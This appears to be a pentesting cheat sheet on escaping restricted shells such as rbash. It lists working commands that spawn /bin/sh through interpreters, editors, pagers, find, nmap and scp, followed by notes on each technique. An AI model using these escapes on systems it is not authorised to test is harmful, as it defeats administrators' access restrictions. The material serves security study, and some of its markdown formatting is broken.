# 6.escaping-restricted-shells

````sh
Restricted Shell Escape Attempts

```bash
# 1. Check the restricted shell type (if possible)
# (Often, this is not directly visible)

# 2. Enumerate allowed commands (try common ones)
ls
pwd
whoami
id
echo $PATH
env
# Try other basic commands

# 3. Test command substitution
ls -l `pwd`
ls -l $(pwd)
echo `whoami`
echo $(whoami)

# 4. Test command chaining
ls; whoami
pwd && id
echo 1 || echo 2
cat /etc/passwd | grep root

# 5. Test environment variable manipulation (if possible)
echo $PATH
export PATH=/bin:/usr/bin:/sbin:/usr/sbin
echo $PATH
echo $SHELL
export SHELL=/bin/bash
$SHELL # Try to spawn a new shell

# 6. Test shell function creation (if possible)
function test { /bin/bash; }
test

# 7. Try common escape binaries (if available)
sh
bash
python -c 'import os; os.system("/bin/sh")'
perl -e 'exec "/bin/sh";'
ruby -e 'exec "/bin/sh"'
awk 'BEGIN {system("/bin/sh")}'
vi
nano
tmux
screen
less /etc/passwd # Then !/bin/sh
nmap --interactive # Then !sh
find / -exec /bin/sh \; 

# 8. If vi is available
vi
# Then:
# :!/bin/sh
# or
# :set shell=/bin/bash
# :shell

# 9. GTFObins Check (Manual - Check allowed binaries against GTFObins)
# Example: If 'more' is allowed, check GTFObins for 'more'
# Example: If 'scp' is allowed, check GTFObins for 'scp'
# Example: If 'man' is allowed, check GTFObins for 'man'

# Example: If 'more' is allowed, and GTFObins shows an escape:
more /etc/passwd
:!/bin/sh

# Example: If 'man' is allowed, and GTFObins shows an escape:
man man
:!/bin/sh

# Example: If 'scp' is allowed, and GTFObins shows an escape:
scp user@host:/dev/null /dev/null -S /bin/sh

````

#### **Understanding Restricted Shells**

* **Purpose:**
  * Limit user capabilities for security.
  * Prevent accidental or intentional system damage.
  * Control access to specific system features.
* **Common Types:**
  * `rbash` (Restricted Bourne shell)
  * `rksh` (Restricted Korn shell)
  * `rzsh` (Restricted Z shell)
* **Restrictions:**
  * Limited command execution.
  * Restricted directory access.
  * Disabled environment variable modification.
  * Prevented shell function creation.

**Escaping Techniques**

The document outlines several methods, which can be summarized and expanded upon:

* **Command Injection:**
  * Exploiting vulnerabilities where user input is directly used in command execution.
  * Example: `ls -l \`pwd\`\` (using backticks for command substitution).
  * This is very dependent on the specific implementation of the restricted shell.
* **Command Substitution:**
  * Using backticks (`) or` $(command)\` to execute commands within other commands.
  * If the restricted shell allows any form of command substitution, it can often be abused.
* **Command Chaining:**
  * Using `;`, `&&`, `||`, or `|` to execute multiple commands in sequence.
  * If the shell allows any of these, it may be possible to chain an allowed command with an escape command.
* **Environment Variables:**
  * Manipulating variables like `PATH` or `SHELL` to execute unauthorized commands.
  * If the shell allows any modification of environment variables, this is a very common method of escape.
* **Shell Functions:**
  * Defining custom functions to bypass restrictions.
  * If function definitions are possible, this is a very powerful way to escape.

**Practical Considerations**

* **Specific Restrictions:** The effectiveness of these techniques depends entirely on the specific restrictions imposed by the restricted shell.
* **Enumeration:** Thoroughly enumerate the shell's limitations. What commands are allowed? What environment variables exist?
* **Binary Exploitation:** If standard escape methods fail, consider if any allowed binaries have known vulnerabilities.
* **GTFObins:** GTFObins is an excellent resource for finding ways to abuse common Linux binaries. Many of these techniques can be used to escape restricted shells.
* **Common Escape Commands:**
  * `sh`, `bash`, `python`, `perl`, `ruby`, `awk`, `vi`, `nano`, `tmux`, `screen` and many more. If any of these are available, they are very often used to escape.

**Example scenarios and commands**

* **If vi is available:** `:!/bin/sh`
* **If Python is available:** `python -c 'import os; os.system("/bin/sh")'`
* **If Perl is available:** `perl -e 'exec "/bin/sh";'`
* **If less is available:** `!/bin/sh`
* **If nmap is available:** `!sh` inside of an interactive nmap session.
* **If find is available:** `find / -exec /bin/sh \;`
